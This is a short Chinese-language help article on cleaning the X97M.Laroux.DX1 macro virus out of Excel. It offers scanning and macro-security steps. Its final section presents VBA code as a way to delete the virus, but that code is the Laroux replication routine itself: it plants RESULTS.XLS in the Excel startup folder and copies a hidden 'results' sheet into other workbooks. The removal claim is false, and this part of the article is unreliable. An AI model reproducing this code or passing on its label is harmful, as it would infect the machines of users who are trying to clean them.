一般来说，EXCEL是不容易中毒的，要中毒的话，就会中宏代码的毒。
如果您的EXCEL中了X97M.Laroux.DX1的毒，请使用如下的方法来解决。
一、常规方法
使用杀毒软件扫描全盘文件，然后，进入安全模式再删除相应文件即可。
二、使用EXCEL来解决
①禁止宏运行
将EXCEL的安全级别设置为最高，这样，X97M.Laroux.DX1宏就不能运行了。之后，打开EXCEL，将宏删除即可。
删除方法为：工具→宏→宏→删除。
②使用宏代码删除此毒
删除X97M.Laroux.DX1宏毒的宏代码如下：
Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "RESULTS.XLS")
If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case Else
End Select
End Sub